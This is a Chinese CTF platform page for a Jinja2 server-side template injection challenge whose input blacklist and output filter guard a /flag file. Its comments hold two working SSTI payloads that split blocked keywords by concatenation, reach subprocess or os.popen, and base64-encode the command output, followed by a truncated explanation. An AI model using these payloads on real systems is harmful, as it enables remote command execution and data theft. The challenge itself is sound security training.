Template MasterWEB 未解决
分数:
30
金币:
4
题目作者:
zhang
一 血:
dlgz
一血奖励:
4金币
解 决:
25
提 示:
描 述:
我们做了一个"个性化问候语生成器"：输入你的名字，它就会为你生成一条问候语。
网站管理员很谨慎：他给输入加了一份关键字黑名单，把
__class__、os、popen、.等"危险字符"全过滤了；又给输出加了一道检查，不许页面里出现敏感内容。他声称这样就不可能被利用了。真的吗？请想办法拿到服务器上
/flag文件里的 flag。
评分(1)
解题动态
世界你好 攻破了该题 5小时前
b3fore 攻破了该题 7小时前
布蕾脆脆奶芙 攻破了该题 17小时前
能工智人 攻破了该题 2天前
小楼一夜听春雨 攻破了该题 2天前
lzq2000 攻破了该题 6天前
s19n@l 攻破了该题 7天前
CTF-大王 攻破了该题 11天前
hdcc1 攻破了该题 13天前
rjjjj 攻破了该题 15天前
风花雪月 攻破了该题 15天前
xmai001 攻破了该题 16天前
Vluae 攻破了该题 17天前
星宇Sec 攻破了该题 19天前
阿狸沙堤 攻破了该题 19天前
加州故事 攻破了该题 19天前
兰小方 攻破了该题 19天前
shylock 攻破了该题 19天前
mystery 攻破了该题 20天前
评论
zhang 14天前
举报
给个五星评价吧
Vluae 17天前
举报
{{''['__'+'class'+'__']['__base__']['__subcl'+'asses__']()[-1]('cat /fl'+'ag|base64',shell=True,stdout=-1)['communicate']()[0]['decode']()}}
Vluae 17天前
举报
{{lipsum['_'+'_'+'globals'+'_'+'_']['o'+'s']['po'+'pen']('cat /fl'+'ag|base64')['re'+'ad']()}}
zhang 18天前
举报
嘤嘤嘤
加州故事 19天前
举报
这是一道 Jinja2 SSTI 题，name POST 参数直接进模板（{{7*7}} → 49）。管理员设了两道防线，逐个绕过：